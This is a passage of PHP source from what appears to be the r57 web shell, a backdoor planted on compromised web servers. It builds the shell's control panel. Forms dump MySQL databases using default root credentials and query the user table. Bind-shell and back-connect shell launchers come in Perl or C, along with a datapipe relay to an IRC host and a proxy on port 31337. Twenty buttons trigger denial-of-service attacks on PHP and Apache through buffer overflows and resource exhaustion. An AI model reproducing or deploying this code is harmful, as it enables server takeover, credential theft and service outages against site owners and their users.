3492echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
3493echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
3494echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
3495echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3496echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
3497echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
3498echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
3499echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
3500echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
3501echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
3502echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
3503echo "</td>".$fe."</tr></div></table>";
3504}
3505if(!$safe_mode &&$unix){
3506echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
3507echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
3508echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
3509echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
3510echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
3511echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
3512echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
3513echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
3514echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ?(getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
3515echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
3516echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
3517echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
3518echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
3519echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
3520echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
3521echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
3522echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
3523echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
3524echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
3525echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
3526echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
3527echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
3528echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
3529echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
3530echo $te."</td>".$fe."</tr></div></table>";
3531}
3532echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=50%>".$ts;
3533echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
3534echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
3535echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit exhaustion in [ pack() ] function').$fe);
3536echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF in [ unserialize() ] function').$fe);
3537echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'Limit integer calculate (65535) in ZendEngine').$fe);
3538echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [ dl() ] vulnerability').$fe);
3539echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [ preg_match() ] exhaustion resources (PHP <5.2.1)').$fe);
3540echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Memory_limit exhaustion in [ str_repeat() ] function (PHP <4.4.5,5.2.1)').$fe);
3541echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
3542echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload inodes from HD.I via [ tempnam() ] (PHP 4.4.2, 5.1.2)').$fe);
3543echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF in [ wordwrap() ] function (PHP <4.4.2,5.1.2)').$fe);
3544echo $te."</td><td valign=top width=50%>".$ts;
3545echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
3546echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF in [ array_fill() ] function (PHP <4.4.2,5.1.2)').$fe);
3547echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF in [ substr_compare() ] function (PHP <4.4.2,5.1.2)').$fe);
3548echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Array Creation in [ unserialize() ] 64 bit function (PHP <5.2.1)').$fe);
3549echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF in [ str_ireplace() ] function (PHP <5.2.x)').$fe);
3550echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF in [ htmlentities() ] function (PHP <5.1.6,4.4.4)').$fe);
3551echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'Integer Overflow in [ zip_entry_read() ] function (PHP <4.4.5)').$fe);
3552echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF in [ sqlite_udf_decode_binary() ] function (PHP <4.4.5,5.2.1)').$fe);
3553echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'Memory Allocation BoF in [ msg_receive() ] function (PHP <4.4.5,5.2.1)').$fe);
3554echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'Off By One in [ php_stream_filter_create() ] function (PHP 5<5.2.1)').$fe);
3555echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'Reference Counter Overflow in [ unserialize() ] function (PHP <4.4.4)').$fe);
3556echo $te."</td></tr></div></table>";
3557?>